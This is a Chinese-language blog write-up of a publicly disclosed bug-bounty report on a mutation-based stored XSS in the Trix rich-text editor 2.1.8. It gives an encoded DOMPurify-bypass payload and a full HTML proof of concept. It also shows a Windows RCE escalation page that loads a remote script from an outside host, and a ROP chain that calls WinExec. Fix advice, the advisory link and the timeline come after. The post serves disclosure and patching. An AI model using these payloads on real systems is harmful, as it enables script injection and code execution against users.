Trix编辑器最新版本(2.1.8)基于突变的存储型XSS漏洞分析

本文详细分析了Trix编辑器最新版本(2.1.8)中基于突变的存储型XSS漏洞,包括漏洞原理、利用步骤、修复建议以及相关RCE攻击链的构建过程,涉及DOM净化器绕过和跨平台攻击向量。

报告 #2819573 - Trix编辑器最新版本(2.1.8)基于突变的存储型XSS

漏洞概述

我发现了一种绕过Trix编辑器(https://github.com/basecamp/trix)中使用的净化器的方法。这种绕过是基于突变的,通过复制粘贴向量可以实现XSS攻击。

示例Payload

1
copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>me

解码HTML实体后得到以下payload,其中包含突变XSS向量:

1
<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>

关于此绕过的更多细节,可以阅读:https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/

复现步骤

使用报告#2521419中的类似POC,我们可以复现这个漏洞。只需将以下代码保存为.html文件,然后复制文本"copy me"并粘贴到编辑器中,这将弹出一个alert。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <title>Trix Editor XSS Demo</title>
 <script src="https://cdn.jsdelivr.net/npm/trix@2.1.8/dist/trix.umd.js"></script>
 <link href="https://cdn.jsdelivr.net/npm/trix@2.1.1/dist/trix.min.css" rel="stylesheet">
</head>
<body>
 <h1>Trix Editor XSS Demo</h1>
 <trix-editor></trix-editor>
 <script>
  document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>me`);
 </script>
</body>
</html>

影响

攻击者可以利用这些漏洞在用户会话上下文中执行任意JavaScript代码,可能导致未经授权的操作或敏感信息泄露。

RCE攻击链

后续讨论中展示了如何将此XSS漏洞升级为远程代码执行(RCE),包括Windows和macOS平台的攻击向量。

Windows RCE PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <title>Trix Editor XSS Demo</title>
 <script src="https://cdn.jsdelivr.net/npm/trix@2.1.8/dist/trix.umd.js"></script>
 <link href="https://cdn.jsdelivr.net/npm/trix@2.1.1/dist/trix.min.css" rel="stylesheet">
</head>
<body>
 <h1>Trix Editor XSS Demo</h1>
 <trix-editor></trix-editor>
 <script>
  document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;/math&gt;&lt;iframe srcdoc='&lt;script src=https://ctf.s1r1us.ninja/basecamp/sudiworkingwin2002.js&gt;&lt;/script&gt;&lt;button onclick=pwn()&gt;clickme'&gt;Click me&lt;/style&gt;&quot;}"></div>me`);
 </script>
</body>
</html>

ROP链示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; ROP Stage 1: Write "calc.exe" to a writable memory section
pop rcx              ; Load "calc.exe" part into rcx
ret;
pop rax              ; Load writable address into rax >0x9519000
ret;
mov [rax], rcx       ; Write "calc" to writable section

; ROP Stage 2: Resolve kernel base and WinExec function address
pop rcx              ; Load kernel base into rcx
ret   ;
mov rax, [rcx]       ; Resolve kernel function pointer
pop rbx              ; Load offset to WinExec
ret     ; Offset of WinExec from kernel base ->0x68820
add rax, rbx         ; Calculate WinExec address

; ROP Stage 3: Prepare parameters for WinExec
pop rcx              ; Load address of "calc.exe" into rcx; 0x9519000
ret;
pop rdx              ; Load SW_SHOWNORMAL into rdx
ret       ;     0x1 SW_SHOWNORMAL = 1
add rsp, 0x20        ; Align stack 
add rax, rbx         ; 

; ROP Stage 4: Trigger WinExec
call rax             ; Call WinExec("calc.exe", SW_SHOWNORMAL)

修复建议

  1. 更新DOMPurify到最新版本
  2. 使用RETURN_DOM选项而不是手动处理净化后的字符串
  3. 定期更新Electron版本
  4. 启用沙箱功能

修复状态

Basecamp团队已发布修复版本2.1.9和1.3.3,后续又发布了2.1.10和1.3.4以应对新的DOMPurify绕过漏洞。CVE已发布:https://github.com/basecamp/trix/security/advisories/GHSA-6vx4-v2jw-qwqh

时间线

  • 2024年11月4日:漏洞报告
  • 2024年11月21日:漏洞确认并标记为严重
  • 2024年11月26日:修复部署并发放赏金
  • 2024年12月9日:CVE发布
  • 2025年6月27日:报告公开披露
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计